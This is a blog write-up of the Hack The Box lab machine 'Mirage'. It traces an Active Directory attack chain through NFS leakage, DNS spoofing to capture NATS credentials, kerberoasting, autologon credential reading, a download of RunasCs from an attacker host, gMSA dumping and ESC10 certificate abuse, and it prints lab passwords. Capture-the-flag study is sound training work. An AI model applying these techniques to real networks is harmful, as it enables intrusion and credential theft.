Hackthebox: Mirage
Overview
Mirage is a hard-difficulty machine from Hack The Box dealing initially with: NFS share leak exposes internal docs → DNS spoofing via nsupdate lets you impersonate a service → Fake NATS server captures Dev_Account_A creds → JetStream log subscription reveals david.jjackson creds → Kerberos LDAP/BloodHound recon maps privilege paths → Weak ACLs (GenericWrite/WriteDACL/AddKeyCredentialLink) → Privilege escalates to high-value domain access.
Reconnaissance
1 | PORT STATE SERVICE VERSION |
We can see a very interesting RPC port exposing multiple methods.
We have rpc ports, we can mount them:
1 | (base) ┌──(kali㉿kali)-[~] |
Reading the DOC, we can see that nats-svc.mirage.htb is missing in DNS and the environment enforces Kerberos. We might be able to abuse DNS updates to redirect that service name to our attacking machine
The default port for nats is 4222.
We need to listen to your 4222 port (the default port of the NATS server) and send an INFO message. Then use nsupdate to add a DNS record pointing to our own machine from the target machine. Wait a few seconds and we will receive a CONNECT message from the target machine.
If we do not send an INFO message to greet the target, we will not be able to receive the CONNECT message sent by the target. nsupdate is only used to trigger the target machine to access your 4222 port:
1 | (base) ┌──(kali㉿kali)-[/tmp] |
Dev_Account_A:hx5h7F5554fP@1337!
We now install and configure natscli to interact using the credentials we captured:
1 | (base) ┌──(kali㉿kali)-[~/natscli/nats] |
Then subscribe to all messages
use the jetstream stream management option to to view the only stream:
1 | (base) ┌──(kali㉿kali)-[~/natscli/nats] |
1 | (base) ┌──(kali㉿kali)-[~/natscli/nats] |
david.jjackson:pN8kQmn6b86!1234@
We can now use that to query the LDAP with bloodhound-python:
1 | (base) ┌──(kali㉿kali)-[~] |
We can also bruteforce RIDs:
1 | (base) ┌──(kali㉿kali)-[/tmp] |
We ill also attempt kerberoasting to get some users hashes:
1 | (base) ┌──(kali㉿kali)-[~] |
We crack the hash to get the password:
1 | (base) ┌──(kali㉿kali)-[~] |
We request a ticket with this password and we get the user flag:
1 | (base) ┌──(kali㉿kali)-[~] |
I used PowerUp.ps1 to check for autologon creds:
1 | *Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Invoke-AllChecks |
mark.bbond:1day@atime
We can also read the configuration file for nats:
1 | *Evil-WinRM* PS C:\program files\nats-server> cat nats-server.conf |
1 | *Evil-WinRM* PS C:\Users\nathan.aadam\desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername |
Now get a shell with runascs:
1 | *Evil-WinRM* PS C:\Users\nathan.aadam\Documents> iwr 10.10.16.3/RunasCs.exe -outfile r.exe |
He is a member of IT_SUPPORT who have ForceChangePassword on JAVIER.MMARSHAL.
The path is as follows:
ticket as mark.bbon -> export it -> remove accountdisable for javier -> update logonHours with script -> change javier password -> use nxc to dump gmsa
1 | PS C:\Windows\system32> Get-ADUser JAVIER.MMARSHALL -Property * |
1 | (base) ┌──(kali㉿kali)-[~] |
even if you enable an account, login is still blocked outside the allowed time window defined in the logonHours attribute.
1 | (base) ┌──(kali㉿kali)-[~/gMSADumper] |
logonHours value should be ////////////////////////////
1 | (base) ┌──(kali㉿kali)-[~] |
1 | (base) ┌──(kali㉿kali)-[~] |
1 | (base) ┌──(kali㉿kali)-[~] |
1 | (base) ┌──(kali㉿kali)-[~] |
1 | PS C:\users\mark.bbond\documents> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectDN -match "mark.bbond"} |
1 | (base) ┌──(kali㉿kali)-[~] |
We can perform UPN spoofing to request a certificate as dc01
We have enough permissions to escalate to the administrator account with ESC10. We can learn how to do it by reading the wiki documentation for certipy. Grant resourced based constrained delegation from the domain controller to the group managed service account, then use it to read the hash for the administrator account.
1 | (base) ┌──(kali㉿kali)-[~] |
And finally claim my root flag:
1 | (base) ┌──(kali㉿kali)-[~] |
- Title: Hackthebox: Mirage
- Author: Foued SAIDI
- Created at : 2025-11-22 20:59:41
- Updated at : 2025-11-22 21:03:46
- Link: https://kujen5.github.io/2025/11/22/Hackthebox-Mirage/
- License: This work is licensed under CC BY-NC-SA 4.0.